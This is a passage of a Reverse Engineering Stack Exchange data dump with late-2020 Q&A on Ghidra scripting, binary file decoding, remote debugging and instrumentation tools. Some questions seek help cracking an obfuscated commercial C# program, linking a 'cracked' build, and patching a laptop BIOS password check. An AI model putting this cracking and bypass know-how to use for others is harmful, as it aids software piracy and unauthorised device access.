  <row Id="26397" PostTypeId="1" CreationDate="2020-11-30T02:14:11.840" Score="5" ViewCount="2870" Body="&lt;p&gt;I'd like to get the inferred value of a register at a particular point in the disassembly listing in a Ghidra script.&lt;/p&gt;&#xA;&lt;p&gt;In my case the target instruction is a &lt;code&gt;rdmsr&lt;/code&gt; or &lt;code&gt;wrmsr&lt;/code&gt; instruction, which reads or writes the MSR at &lt;code&gt;ecx&lt;/code&gt;. While I could walk back through the previous instructions and look for a simple &lt;code&gt;mov ecx, const&lt;/code&gt; pattern, there are significantly more ways to set &lt;code&gt;ecx&lt;/code&gt; to some known value that the decompiler is capable of inferring.&lt;/p&gt;&#xA;&lt;p&gt;I've tried calling &lt;code&gt;getRegisterValue&lt;/code&gt; on the &lt;code&gt;rdmsr&lt;/code&gt; instruction, passing in a &lt;code&gt;Register&lt;/code&gt; type describing &lt;code&gt;ecx&lt;/code&gt;, but this just returns &lt;code&gt;None&lt;/code&gt;. Is there a way to infer register values at a particular instruction?&lt;/p&gt;&#xA;&lt;p&gt;Here's the disassembly:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mk8VS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mk8VS.png&quot; alt=&quot;disassembly&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And the decompiled result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wvPUo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wvPUo.png&quot; alt=&quot;decompiled code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here's the P-Code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZwJKI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZwJKI.png&quot; alt=&quot;disassembly with p-code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="1351" LastEditDate="2020-12-01T16:15:00.363" LastActivityDate="2021-12-26T22:07:30.567" Title="How can I get the inferred register value for an instruction in Ghidra scripting?" Tags="|x86|ghidra|x86-64|register|script|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26398" PostTypeId="2" ParentId="22745" CreationDate="2020-11-30T06:14:06.950" Score="2" Body="&lt;p&gt;The output of rabin2 is definitely a bit cryptic, here is some of the information I found for the components that you asked about.&lt;/p&gt;&#xA;&lt;h3&gt;crypto&lt;/h3&gt;&#xA;&lt;p&gt;Boolean flag that indicates if a binary is encrypted/packed&lt;/p&gt;&#xA;&lt;h3&gt;relocs&lt;/h3&gt;&#xA;&lt;p&gt;Indicates that the binary performs run time relocation&lt;/p&gt;&#xA;&lt;h3&gt;va&lt;/h3&gt;&#xA;&lt;p&gt;Indicates that virtual addressing is in use, it will be false if rabin2 is run with the &lt;code&gt;-p&lt;/code&gt; flag&lt;/p&gt;&#xA;&lt;h3&gt;linenum&lt;/h3&gt;&#xA;&lt;p&gt;The linenum information that is present in the DWARF debug section of the ELF binary&lt;/p&gt;&#xA;&lt;h3&gt;pcalign&lt;/h3&gt;&#xA;&lt;p&gt;Related to data structure alignment, could refer to the &lt;code&gt;p_align&lt;/code&gt; member in the ELF program header. &lt;code&gt;p_align&lt;/code&gt; gives the value to which segments are aligned in memory and in the file. The values 0 and 1 mean no alignment is required&lt;/p&gt;&#xA;&lt;p&gt;Some links that could provide more context&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dzhy.dev/2020/02/28/Understanding-rabin2-output/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rabin2 output&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://erani.kapsi.fi/posts/2018-03-11-reverse-engineering-basics-with-radare-binary-internals/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing basics with radare2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.tartanllama.xyz/writing-a-linux-debugger-elf-dwarf/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building a Linux Debugger&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Data_structure_alignment&quot; rel=&quot;nofollow noreferrer&quot;&gt;Data structure alignment&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4593" LastActivityDate="2020-11-30T06:14:06.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26399" PostTypeId="1" CreationDate="2020-11-30T08:35:09.570" Score="-2" ViewCount="828" Body="&lt;p&gt;In version 3.7.3.7 I was able to modify some parts of the code using dnSpy. The language is C#. But in the new(next) version, I did not succeed and I guess the code is obfuscated. De4dot did not help. Thanks for any help! &lt;/p&gt;&#xA;&lt;p&gt;Link for &lt;em&gt;untouched&lt;/em&gt; 3.7.4.1 exe and &lt;em&gt;cracked&lt;/em&gt; 3.7.3.7 exe:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://u.pcloud.link/publink/show?code=XZ1x8LXZjkm0YjbRzdfMqwAkkLsUu8RM42qV&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://u.pcloud.link/publink/show?code=XZ1x8LXZjkm0YjbRzdfMqwAkkLsUu8RM42qV&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35067" LastActivityDate="2020-11-30T09:10:15.213" Title="What obfuscator is used?" Tags="|deobfuscation|.net|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26400" PostTypeId="2" ParentId="26399" CreationDate="2020-11-30T09:10:15.213" Score="0" Body="&lt;p&gt;You could try every deobfuscator on this list, until one works&#xA;&lt;a href=&quot;https://github.com/NotPrab/.NET-Deobfuscator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NotPrab/.NET-Deobfuscator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34255" LastActivityDate="2020-11-30T09:10:15.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26401" PostTypeId="1" AcceptedAnswerId="26403" CreationDate="2020-12-01T12:00:49.803" Score="2" ViewCount="601" Body="&lt;p&gt;I'm trying to decode &lt;code&gt;.PLW&lt;/code&gt; data acquired by a temperature logger (&lt;a href=&quot;https://www.picotech.com/download/manuals/usb-pt104-rtd-data-logger-programmers-guide.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PicoLog PT-104&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;If you convert the &lt;code&gt;.PLW&lt;/code&gt; file to a &lt;code&gt;.txt&lt;/code&gt; file through the official software you get something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dkwwS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dkwwS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;where each row has single temperature measurements across the 20 channels available to the device. I would like to extract the data directly from the &lt;code&gt;.PLW&lt;/code&gt;, file without having to convert it to &lt;code&gt;.txt&lt;/code&gt; first.&lt;/p&gt;&#xA;&lt;p&gt;By opening the &lt;code&gt;.PLW&lt;/code&gt; file in a hex editor, I have managed to isolate with a bit of tweaking the section which seems to contain the raw data measurements:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Bv8J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Bv8J.png&quot; alt=&quot;hex_dump&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first 4 hexes contain the row index. And should be read in the reversed column order &lt;code&gt;03 02 01 00&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There are then the 20 groups of 4 columns, one for each channel. Assuming all groups should be read right to left (given that was the case for the index columns), they all seem to begin with &lt;code&gt;0x41&lt;/code&gt; which might maybe be some kind of encoding for the tab character (or similar).&lt;/p&gt;&#xA;&lt;p&gt;The next hex in each chunk (so the one just before the &lt;code&gt;0x41&lt;/code&gt;) seems to be mapping at least to some approximate way the temperature read in that channel:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hex -&amp;gt; TEMP&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x50 -&amp;gt; 13&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xa0, 0xa1, 0xa2, 0xa3 -&amp;gt; 20&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xa4, 0xa5, 0xaa, 0xab -&amp;gt; 21&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xac, 0xae, 0xb0 -&amp;gt; 22&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And the order of the channels also seems to match the order of the columns in the &lt;code&gt;.txt&lt;/code&gt; file: for example channel 8 in the &lt;code&gt;.txt&lt;/code&gt; file has an outlier temperature at &lt;code&gt;13&lt;/code&gt; --&amp;gt; which is also present in the 8th data column in the &lt;code&gt;.PLW&lt;/code&gt; file, where the &lt;em&gt;temperature&lt;/em&gt; hex is set to &lt;code&gt;0x50&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Would anyone be able to crack the mapping between the hex values in each chunk to the final temperature measurement displayed in the &lt;code&gt;.txt&lt;/code&gt; file?&lt;/p&gt;&#xA;&lt;p&gt;Or does anyone know of an encoding where &lt;code&gt;0x41&lt;/code&gt; would correspond to a tab-like character? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="35079" LastActivityDate="2020-12-01T15:18:34.643" Title="Decoding Hex Data" Tags="|decryption|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26403" PostTypeId="2" ParentId="26401" CreationDate="2020-12-01T14:17:37.777" Score="4" Body="&lt;p&gt;The data are floating point encoded on 32 bits Little_endian&lt;BR&gt;&#xA;byte 0 to 3: 00 00 00 00 = 0 channel number&lt;BR&gt;&#xA;byte 4 to 7: 1f 85 a3 41 = 0x41a3851f = 20.4400005341&lt;BR&gt;&#xA;etc ..&lt;BR&gt;&#xA;&lt;a href=&quot;https://www.h-schmidt.net/FloatConverter/IEEE754.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.h-schmidt.net/FloatConverter/IEEE754.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34077" LastActivityDate="2020-12-01T14:17:37.777" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26405" PostTypeId="2" ParentId="23518" CreationDate="2020-12-01T15:26:26.093" Score="1" Body="&lt;p&gt;Here's my go to in Python3: &lt;code&gt;bytes.fromhex('020a0d')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;From there you can interpret how you'd like.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python 3.7.6 (default, Dec 30 2019, 19:38:26) &#xA;&amp;gt;&amp;gt;&amp;gt; hex_str = '020a0d'&#xA;&amp;gt;&amp;gt;&amp;gt; bytes.fromhex(hex_str)&#xA;b'\x02\n\r'&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As an aside, I've found that storing things as ASCII Hex is one of the better RE habits I've gotten into. You can share the data with others, mark it up, examine it in any editor or IDE. Much better than pushing around an actual binary file.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-12-01T15:26:26.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26406" PostTypeId="2" ParentId="26397" CreationDate="2020-12-01T15:33:34.033" Score="2" Body="&lt;p&gt;After looking into this a bit, I think that it will heavily depend on the exact context.&lt;/p&gt;&#xA;&lt;p&gt;The decompiler can definitely do a basic form of this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LNV9q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LNV9q.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this cases the PCode operation for the call instruction is already:&#xA;&lt;code&gt;(register, 0x0, 4) CALL (ram, 0x125180, 8) , (const, 0x1, 4) , (const, 0x5413, 8)&lt;/code&gt;[0]&#xA;i.e. it contains the propagated constants already, without any references that they were read from a register.&lt;/p&gt;&#xA;&lt;p&gt;If you are lucky the associated PCode operations for a &lt;code&gt;rdmsr&lt;/code&gt; or &lt;code&gt;wrmsr&lt;/code&gt; contain this information already. I don't have a binary to test how these instructions are handled exactly though. If they in any form contain the information that they depend on the value of &lt;code&gt;ecx&lt;/code&gt; then I would expect that the decompiler will optimize the PCode instruction to directly use the constant as the PCode argument instead if possible, like in the attached image. A quick glance into &lt;code&gt;x86.sla&lt;/code&gt; seems like &lt;code&gt;RDMSR&lt;/code&gt; is indeed defined in a way that should allow this to happen.&lt;/p&gt;&#xA;&lt;p&gt;The general results of any kind of value analysis that happens inside the decompiler is not exposed in a way that I know of though.&lt;/p&gt;&#xA;&lt;p&gt;[0] This is not the PCode from the instruction but from the decompiler token. You can get this by clicking on a token (like &lt;code&gt;ioctl&lt;/code&gt; in the decompiler and then accessing &lt;code&gt;currentLocation.token.pcodeOp&lt;/code&gt; in the Jython shell&lt;/p&gt;&#xA;" OwnerUserId="31435" LastEditorUserId="31435" LastEditDate="2020-12-01T19:32:22.140" LastActivityDate="2020-12-01T19:32:22.140" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26407" PostTypeId="2" ParentId="26299" CreationDate="2020-12-01T18:27:55.253" Score="2" Body="&lt;p&gt;I second the 0x3c00 and 0xb400 as times.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; struct.pack(&amp;quot;&amp;lt;h&amp;quot;,60).hex() # 1 hours&#xA;'3c00'&#xA;&amp;gt;&amp;gt;&amp;gt; struct.pack(&amp;quot;&amp;lt;h&amp;quot;,180).hex() # 3 hours&#xA;'b400'&#xA;&amp;gt;&amp;gt;&amp;gt; struct.pack(&amp;quot;&amp;lt;h&amp;quot;,720).hex() # 12 hours&#xA;'d002'&#xA;&amp;gt;&amp;gt;&amp;gt; struct.pack(&amp;quot;&amp;lt;h&amp;quot;,1440).hex() # 24 hours&#xA;'a005'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Assume the data is all little endian. I suspect the 2x repeat of the time plays some role reporting data for specific ranges, such as between 5pm and 8am in a day.&lt;/p&gt;&#xA;&lt;p&gt;I think I've found the degrees. I swapped out the f40114 for Bits. I think this is sub-byte format.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ACTION  PAYLOAD&#xA;INCREASE_BY_5_IN_ONE_HOUR   Value: 01 |f40114| 3c00 3c00    01 | 111 101 00 00000001 00010100 | 3c00 3c00&#xA;DECREASE_BY_5_IN_ONE_HOUR   Value: 00 |f40114| 3c00 3c00    00 | 111 101 00 00000001 00010100 | 3c00 3c00&#xA;    &#xA;INCREASE_BY_3_IN_ONE_HOUR   Value: 01 |2c010a| 3c00 3c00    01 | 001 011 00 00000001 00001010 | 3c00 3c00&#xA;DECREASE_BY_3_IN_ONE_HOUR   Value: 00 |2c010a| 3c00 3c00    00 | 001 011 00 00000001 00001010 | 3c00 3c00&#xA;    &#xA;INCREASE_BY_1_IN_3_HOURS    Value: 01 |640014| b400 b400    01 | 011 001 00 00000000 00010100 | b400 b400&#xA;DECREASE_BY_1_IN_3_HOURS    Value: 00 |640014| b400 b400    00 | 011 001 00 00000000 00010100 | b400 b400&#xA;                                                                     ^^^Degrees                 ^^^^Minutes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So digging on the &lt;a href=&quot;https://www.ensto.com/company/newsroom/product-news/smart-heating-with-new-beta-heaters/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ensto website some useful things&lt;/a&gt;... First, European product, so maybe we can assume the units are in Celsius (at least for this dataset). &lt;code&gt;Extremely accurate (+/-0.1°C) and completely silent intelligent thermostat&lt;/code&gt; tells us the precision. &lt;code&gt;The new Beta heaters are equipped with smart electronic thermostats (for 5–30 °C) that can be controlled manually or with Ensto’s Heat Control application (for Android and iOS)&lt;/code&gt; tells us the range. In terms of units this is 50 to 300... which is 250 discrete values, which means we probably have a single byte for temperature. If the OP could tell us the temperatures when these samples were taken, we can see if the temperature is in the message.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-01T23:59:35.103" LastActivityDate="2020-12-01T23:59:35.103" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26408" PostTypeId="2" ParentId="25609" CreationDate="2020-12-01T19:43:55.593" Score="1" Body="&lt;p&gt;I would start by computing all valid column types for the first byte of every message. First start with the smallest message though. That will restrict your possible sequence of fields the most.&lt;/p&gt;&#xA;&lt;p&gt;Take the intersection across those types. The correct column type for the first column is in there.&lt;/p&gt;&#xA;&lt;p&gt;For each column type in the intersection, take the data, remove that column from the start and recurse.&lt;/p&gt;&#xA;&lt;p&gt;I'd think carefully about what is a &amp;quot;valid&amp;quot; field. Can there be 0 valued bytes in a string or an ascii string?&lt;/p&gt;&#xA;&lt;p&gt;Post a couple of these files. That'll help us look at ways to infer the format.&lt;/p&gt;&#xA;&lt;p&gt;Another smart thing you could do... for each row, calculate the number of times you can successfully find a location in that row which is a valid field of type t.&lt;/p&gt;&#xA;&lt;p&gt;Then for each type t, across all rows, find the minimum number of successful application types. For instance if row 1 has 3 strings and 2 bools, and row two has 2 strings and 3 bools, you would search with the assumption that you can only use up to 2 strings and 2 bool fields.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-02T00:49:21.977" LastActivityDate="2020-12-02T00:49:21.977" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26409" PostTypeId="2" ParentId="23449" CreationDate="2020-12-01T20:05:55.020" Score="1" Body="&lt;p&gt;Looks like the tool is capable of measuring from 6 to 20v.&lt;/p&gt;&#xA;&lt;p&gt;So we would have to encode floats somehow into the data.&lt;/p&gt;&#xA;&lt;p&gt;16 bytes per message.&lt;/p&gt;&#xA;&lt;p&gt;I'm going to make a slightly informed guess that we have a 4 byte field, and then 6 2 byte fields. half-precision (16bit) IEEE floats maybe? It could be sampling the voltage multiple times and allowing the app to average.&lt;/p&gt;&#xA;&lt;p&gt;Since you have the app, are there other values besides voltage which they app displays that are likely coming from the device? This would help us bound the number of fields we are looking for.&lt;/p&gt;&#xA;&lt;p&gt;Can you post a bunch of readings from the device, ideally, with it disconnected from the battery, reading zero, followed by connected to the battery and then disconnected again. That was we can understand what the readout looks like when the voltage is 0.  100 messages would be great.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-02T03:03:52.330" LastActivityDate="2020-12-02T03:03:52.330" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26410" PostTypeId="1" CreationDate="2020-12-01T21:02:37.277" Score="0" ViewCount="97" Body="&lt;p&gt;how do I use Remote Binary Protocol I tried to connect to gdbserver through the normal method but it would just hang and not connect. I let it go like that for 1 hour&lt;/p&gt;&#xA;" OwnerUserId="35088" LastActivityDate="2020-12-01T21:02:37.277" Title="how do I use Remote Binary Protocol in cutter" Tags="|radare2|remote|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26412" PostTypeId="1" CreationDate="2020-12-02T05:30:51.973" Score="0" ViewCount="882" Body="&lt;p&gt;My goal is stated in the title. However, I think there is a fundamental issue with gdbserver. In particular, I create an aarch64 alpine docker container on a x86_64 Ubuntu 16.04 host using&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo docker run --rm -it -p 12345:12345 -v /host_dir:/container_dir --privileged arm64v8/alpine /bin/ash&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I then proceed to install &lt;code&gt;gdb&lt;/code&gt; in the container using &lt;code&gt;apk add gdb&lt;/code&gt;. Subsequently I run &lt;code&gt;ps aux&lt;/code&gt; just to get a list of the processes running in the container in order to test &lt;code&gt;gdbserver --attach COMM...PID&lt;/code&gt; command in the container. Interestingly absolutely no output no matter how much time goes on. As a result, I switch to the host and simply do the same exercise on the Ubuntu machine, i.e., I attach to a random process with &lt;code&gt;pid&lt;/code&gt; 23056. The output to &lt;code&gt;gdbserver --attach :12344 23056&lt;/code&gt; is &lt;code&gt;Attached; pid = 23056 Listening on port 12344&lt;/code&gt;, which is what I expected to happen with gdbserver in the container. Any help as to why &lt;code&gt;gdbserver&lt;/code&gt; in the container doesn't behave properly is appreciated!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried again and first ran &lt;code&gt;sudo docker run --rm -it --privileged -p 7777:7777 -v home_dir:container_dir arm64v8/alpine&lt;/code&gt; and then ran &lt;code&gt;gdbserver localhost:7777 ./binary&lt;/code&gt; and then as suggested in the comments I used &lt;code&gt;netstat -l&lt;/code&gt; in the container and got &lt;code&gt;tcp 0      0 0.0.0.0:7777            0.0.0.0:*   LISTEN&lt;/code&gt;. So it seems that clearly &lt;code&gt;gdbserver&lt;/code&gt; is listening for a &lt;code&gt;tcp&lt;/code&gt; connection. Then I use &lt;code&gt;gdb-multiarch binary&lt;/code&gt; on the host machine and then &lt;code&gt;(gdb) target remote localhost:7777&lt;/code&gt; to get:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Remote debugging using localhost:7777&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Ignoring packet error, continuing...&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;warning: unrecognized item &amp;quot;timeout&amp;quot; in &amp;quot;qSupported&amp;quot; response&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Ignoring packet error, continuing...&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Remote replied unexpectedly to 'vMustReplyEmpty': timeout&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any idea?!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I ran the docker container without the &lt;code&gt;--publish&lt;/code&gt; or &lt;code&gt;-p&lt;/code&gt; attribute and clearly no matter what &lt;code&gt;IP:PORT&lt;/code&gt; I use, &lt;code&gt;gdb-multiarch&lt;/code&gt; says the &lt;code&gt;Connection timed out&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17667" LastEditorUserId="17667" LastEditDate="2020-12-03T02:45:45.217" LastActivityDate="2020-12-03T02:45:45.217" Title="Remote Debugging an Aarch64 ELF File on Multiarch/Qemu-user-static (arm64v8/alpine) Docker Container" Tags="|debugging|gdb|remote|aarch64|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="26413" PostTypeId="2" ParentId="9126" CreationDate="2020-12-02T17:04:52.317" Score="1" Body="&lt;p&gt;This format looks like little endian 32bit ints starting at Byte 12.&lt;/p&gt;&#xA;&lt;p&gt;The data shows low entropy so it's unlikely to be encrypted, as well as having consistent 0 valued MSB's in consistent positions across both messages.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-12-02T17:04:52.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26414" PostTypeId="1" AcceptedAnswerId="26417" CreationDate="2020-12-02T17:37:02.690" Score="2" ViewCount="1995" Body="&lt;p&gt;In Ghidra, there is &lt;code&gt;Defined Strings&lt;/code&gt; window, that lists all the strings in the binary and their location.&lt;/p&gt;&#xA;&lt;p&gt;I want to access the strings from Ghidra Python, and to get all the x-refs to those strings.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on how is it possible to access this string info from Ghidra Python?&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-12-03T08:54:56.620" Title="Ghidra python - get string x-refs in a binary" Tags="|ghidra|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26415" PostTypeId="1" AcceptedAnswerId="26431" CreationDate="2020-12-02T18:45:09.443" Score="0" ViewCount="136" Body="&lt;p&gt;I have binary file for the LPC2378FBD144 processor ineed to reverse engineer it using IDA V7.3&#xA;im little confused about memory organization values i should put in the memory organization thank you for your help :)&#xA;here the data sheet for the processor&#xA;&lt;a href=&quot;https://www.nxp.com/docs/en/data-sheet/LPC2377_78.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.nxp.com/docs/en/data-sheet/LPC2377_78.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UcIDT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UcIDT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35096" LastActivityDate="2020-12-03T11:30:23.270" Title="LPC2378FBD144 Arm7 hex file" Tags="|decompilation|arm|hexrays|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26417" PostTypeId="2" ParentId="26414" CreationDate="2020-12-02T18:58:20.740" Score="3" Body="&lt;p&gt;This is one method to do it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.program.util import DefinedDataIterator&#xA;from ghidra.app.util import XReferenceUtil&#xA;&#xA;for string in DefinedDataIterator.definedStrings(currentProgram):&#xA;  for ref in XReferenceUtil.getXRefList(string):&#xA;    print(string, ref)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are alternative &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/util/DefinedDataIterator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;definedStrings&lt;/code&gt;&lt;/a&gt; iterators and other ways to use &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/app/util/XReferenceUtil.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;XReferenceUtil&lt;/code&gt;&lt;/a&gt; in the docs.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="31278" LastEditDate="2020-12-03T08:54:56.620" LastActivityDate="2020-12-03T08:54:56.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26418" PostTypeId="1" AcceptedAnswerId="26430" CreationDate="2020-12-02T19:13:29.380" Score="0" ViewCount="525" Body="&lt;p&gt;I am playing with a dump I made from a serial flash containing the BIOS of a ultra portable whose BIOS is protected by a password. I am trying to find the password or patch the routine which check the password.&lt;/p&gt;&#xA;&lt;p&gt;Using &lt;code&gt;binwalk&lt;/code&gt; I got the following result. I have search for strings containing 'password' but found nothing... So I think code is inside the mcrypt portion ...&lt;/p&gt;&#xA;&lt;p&gt;Do you have idea what I can eventually do now to continue my journey??&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1Uyr7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Uyr7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35098" LastEditorUserId="245" LastEditDate="2020-12-03T08:47:03.947" LastActivityDate="2020-12-03T11:18:18.393" Title="How to get PI UEFI binary when mcrypt is used?" Tags="|binwalk|bios|uefi|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26419" PostTypeId="2" ParentId="20855" CreationDate="2020-12-02T19:59:21.397" Score="2" Body="&lt;p&gt;For posterity: the decompiler was open-sourced not too long after the initial release of Ghidra. Its code is &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/Decompiler/src/decompile&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-12-02T19:59:21.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26421" PostTypeId="1" CreationDate="2020-12-02T21:06:38.680" Score="0" ViewCount="288" Body="&lt;p&gt;i am really glad i found this great site and wanted to ask from your expertise regarding the following issue:&lt;/p&gt;&#xA;&lt;p&gt;i have been doing malware analysis and researching for a few years, and i want to learn something new; a new tool to deepen my understanding while utilizing it for mundane tasks.&lt;/p&gt;&#xA;&lt;p&gt;i want to learn modern dynamic instrumentation. i searched the web and literacy and found a couple of suggestions: dynamorio, pin/pintools, frida(familiar with already), lief, triton, angr and manticore.&lt;/p&gt;&#xA;&lt;p&gt;i need the &amp;quot;tool&amp;quot; to have a lowest overhead(i know it depends also on the way i implement the scripts), and it will mainly be used for reverse engineering, pe research and mostly for exploit development.&lt;/p&gt;&#xA;&lt;p&gt;what should i learn in order to gain the benefits for what i mentioned? i didn't specify architecture as i will be using it on windows,linux,arm and mips (if there 